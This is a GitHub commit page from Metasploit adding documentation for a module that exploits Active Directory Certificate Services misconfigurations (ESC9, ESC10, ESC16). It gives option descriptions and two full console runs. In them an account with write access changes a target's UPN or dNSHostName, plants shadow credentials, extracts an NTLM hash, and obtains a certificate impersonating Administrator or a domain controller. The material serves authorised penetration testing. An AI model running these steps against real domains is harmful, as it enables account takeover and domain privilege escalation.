Skip to content

Commit 8bbfaac

Browse files
authored
Merge pull request #20189 from jheysel-r7/feat/mod/esc9-esc10-exploit
Add Exploit Support for ESC9, ESC10 & ESC16
2 parents f766f49 + ff724d0 commit 8bbfaac

File tree

8 files changed

+1391
-7
lines changed

8 files changed

+1391
-7
lines changed

docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md

Lines changed: 561 additions & 3 deletions
Large diffs are not rendered by default.
Lines changed: 208 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,208 @@
1+
## Vulnerable Application
2+
This module requests certificates via MS-ICPR (Active Directory Certificate Services) after updating an LDAP object
3+
attribute, typically on behalf of another user. The certificate's usability depends on the configuration of the
4+
certificate template, enabling operations such as authentication. PFX certificate files generated by this module are
5+
encrypted with a blank password.
6+
7+
To perform the LDAP attribute update, the module requires write privileges over the
8+
target user in the domain. For example, it can modify the userPrincipalName (UPN) or dNSHostName of the target user
9+
before requesting the certificate. This module leverages the generic auxiliary/admin/ldap/ldap_object_attribute module
10+
to handle LDAP attribute updates.
11+
12+
13+
This module is capable of exploiting ESC9, ESC10, and ESC16.
14+
15+
### Setup
16+
Follow the instructions [[here|./ad-certificates/overview.md]] to set up an AD CS server that is vulnerable to the scenarios you want to exploit, with the appropriately configured template.
17+
For detailed information on each ESC attack workflow, refer to the [[AD CS Exploitation Scenarios|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation.
18+
19+
## Options
20+
21+
### LDAPUsername
22+
The username to authenticate to the LDAP server, this must be a user with write access over the `TARGET_USERNAME`.
23+
24+
### LDAPPassword
25+
The password for the `LDAPUsername` account.
26+
27+
### LDAPDomain
28+
The domain of the `LDAPUsername`, e.g., `demo.local`.
29+
30+
### CA
31+
The target certificate authority.
32+
33+
### CERT_TEMPLATE
34+
The certificate template to issue, e.g., "User".
35+
36+
### TARGET_USERNAME
37+
The username of the target account whose LDAP object will be updated and for whom the certificate will be requested.
38+
39+
### UPDATE_LDAP_OBJECT
40+
The LDAP attribute to update, such as `userPrincipalName` or `dNSHostName`.
41+
42+
### UPDATE_LDAP_OBJECT_VALUE
43+
The new value to set for the specified LDAP attribute, set this to the user name you wish to impersonate, e.g., `Administrator` if you're updating the `userPrincipalName`.
44+
If you're updating the `dNSHostName`, set this to the desired DNS hostname, e.g., `host.domain.local` (it must be a valid FQDN in this case).
45+
46+
### ALT_UPN
47+
An alternate UPN (User Principal Name) to set for the target user, e.g., `[email protected]`.
48+
49+
### ALT_SID
50+
An alternate SID (Security Identifier) to set for the target user, e.g., `S-1-5-21-...`.
51+
52+
### ALT_DNS
53+
An alternate DNS hostname to set for the target user, e.g., `host.domain.local`.
54+
55+
## Verification Steps
56+
57+
1. Start msfconsole
58+
1. Do: `use esc_update_ldap_object`
59+
1. Set the `RHOST`, `LDAPUsername`, `LDAPPassword` and `LDAPDomain` options - note these credentials need to have write access over the `TARGET_USERNAME`
60+
1. Set `TARGET_USERNAME` to the user you want to update and then request a certificate for
61+
1. Set the `UPDATE_LDAP_OBJECT` to either `userPrincipalName` or `dNSHostName` depending on the scenario you are exploiting
62+
1. Set the `UPDATE_LDAP_OBJECT_VALUE` to the value you want to set for the `UPDATE_LDAP_OBJECT`, e.g., `Administrator`
63+
1. Set `CA` to the name of the CA you want to request a certificate and `cert_template` to the name of the certificate template you want to use
64+
1. Run the module
65+
1. This should update the LDAP object attribute and request a certificate for the target user, which will be saved as a .pfx file.
66+
1. If the target is vulnerable to the scenario you are exploiting, the pfx file will allow for privilege escalation.
67+
68+
## Scenarios
69+
70+
### ESC9 - Update userPrincipalName to Administrator
71+
```
72+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
73+
rhosts => 172.16.199.200
74+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
75+
ldaprport => 389
76+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
77+
target_username => user2
78+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
79+
ldapdomain => kerberos.issue
80+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
81+
ldappassword => N0tpassword!
82+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
83+
ldapusername => user1
84+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC9-Template
85+
cert_template => SpencerTest
86+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-DC2-CA
87+
ca => kerberos-DC2-CA
88+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
89+
UPDATE_LDAP_OBJECT_VALUE => Administrator
90+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
91+
[*] Running module against 172.16.199.200
92+
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
93+
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
94+
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
95+
[*] Current value of user2's userPrincipalName: user2
96+
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
97+
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
98+
[+] The operation completed successfully!
99+
[*] 172.16.199.200:445 - Adding shadow credentials for user2
100+
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
101+
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
102+
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
103+
[*] Discovering base DN automatically
104+
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
105+
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_windows.ad.cs_563081.pfx
106+
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 2ff08c15-0ab3-98ad-ee0b-3fd1fbcf3e9d
107+
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
108+
[*] 172.16.199.200:445 - Getting hash for user2
109+
[!] Warning: Provided principal and realm ([email protected]) do not match entries in certificate:
110+
[+] 172.16.199.200:88 - Received a valid TGT-Response
111+
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_263627.bin
112+
[*] 172.16.199.200:88 - Getting NTLM hash for [email protected]
113+
[+] 172.16.199.200:88 - Received a valid TGS-Response
114+
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_015140.bin
115+
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
116+
[+] 172.16.199.200:445 - The requested certificate was issued.
117+
[*] 172.16.199.200:445 - Certificate Policies:
118+
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
119+
[*] 172.16.199.200:445 - Certificate UPN: Administrator
120+
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717140907_default_172.16.199.200_windows.ad.cs_548728.pfx
121+
[*] 172.16.199.200:445 - reverting ldap object
122+
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
123+
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
124+
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
125+
[*] Discovering base DN automatically
126+
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
127+
[*] No matching entries found - check device ID
128+
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
129+
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
130+
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
131+
[*] Current value of user2's userPrincipalName: Administrator
132+
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
133+
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
134+
[+] The operation completed successfully!
135+
[*] Auxiliary module execution completed
136+
```
137+
138+
### ESC9 - Update dnsHostName to `dc2.kerberos.issue`
139+
```
140+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
141+
rhosts => 172.16.199.200
142+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
143+
ldaprport => 389
144+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "Test2$"
145+
target_username => Test2$
146+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE dc2.kerberos.issue
147+
UPDATE_LDAP_OBJECT_VALUE => dc2.kerberos.issue
148+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT dnsHostName
149+
UPDATE_LDAP_OBJECT => dNSHostName
150+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
151+
CA => kerberos-DC2-CA
152+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC9-Template-Dns
153+
CERT_TEMPLATE => ESC9-Template-Dns
154+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
155+
ldapdomain => kerberos.issue
156+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
157+
ldappassword => N0tpassword!
158+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername Test1$
159+
ldapusername => Test1$
160+
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
161+
[*] Running module against 172.16.199.200
162+
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
163+
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
164+
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
165+
[*] Current value of Test2$'s dNSHostName:
166+
[*] Attempting to update dNSHostName for CN=Test2,CN=Computers,DC=kerberos,DC=issue to dc2.kerberos.issue...
167+
[+] Successfully updated CN=Test2,CN=Computers,DC=kerberos,DC=issue's dNSHostName to dc2.kerberos.issue
168+
[+] The operation completed successfully!
169+
[*] 172.16.199.200:445 - Adding shadow credentials for Test2$
170+
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
171+
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
172+
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
173+
[*] Discovering base DN automatically
174+
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
175+
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_windows.ad.cs_384135.pfx
176+
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58
177+
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
178+
[*] 172.16.199.200:445 - Getting hash for Test2$
179+
[!] Warning: Provided principal and realm ([email protected]) do not match entries in certificate:
180+
[+] 172.16.199.200:88 - Received a valid TGT-Response
181+
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_631833.bin
182+
[*] 172.16.199.200:88 - Getting NTLM hash for [email protected]
183+
[+] 172.16.199.200:88 - Received a valid TGS-Response
184+
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_923562.bin
185+
[+] Found NTLM hash for Test2$: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
186+
[+] 172.16.199.200:445 - The requested certificate was issued.
187+
[*] 172.16.199.200:445 - Certificate Policies:
188+
[*] 172.16.199.200:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication)
189+
[*] 172.16.199.200:445 - Certificate DNS: dc2.kerberos.issue
190+
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250730093956_default_172.16.199.200_windows.ad.cs_337994.pfx
191+
[*] 172.16.199.200:445 - Removing shadow credential
192+
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
193+
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
194+
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
195+
[*] Discovering base DN automatically
196+
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
197+
[+] Deleted entry with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58
198+
[*] 172.16.199.200:445 - Reverting ldap object
199+
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
200+
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
201+
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
202+
[*] Attempting to delete attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue...
203+
[+] Successfully deleted attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue
204+
[+] The operation completed successfully!
205+
[*] Auxiliary module execution completed
206+
```
207+
208+
For more exploit scenarios that this module can exploit, refer to the [[Attacking-AD-CS-ESC-Vulnerabilities|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation.

documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -61,6 +61,12 @@ Username to request on behalf of. This is in the format `$domain\\$username`.
6161

6262
The digest algorithm to use for cryptographic signing operations.
6363

64+
When set to `true`, the module will use strong URL to SID mapping when requesting a certificate that contains a URL SAN.
65+
This is done by adding the `tag:microsoft.com,2022-09-14:sid:` part to the SAN which is formatted like so:
66+
`URL=tag:microsoft.com,2022-09-14:sid:<value>`. This option was introduced to maintain compatibility with older windows
67+
versions as this is not compatible with versions prior to Windows Server Preview Build 25246.
68+
[More info](https://techcommunity.microsoft.com/blog/askds/preview-of-san-uri-for-certificate-strong-mapping-for-kb5014754/3789785)
69+
6470
## Actions
6571

6672
### REQUEST_CERT

0 commit comments

Comments
 (0)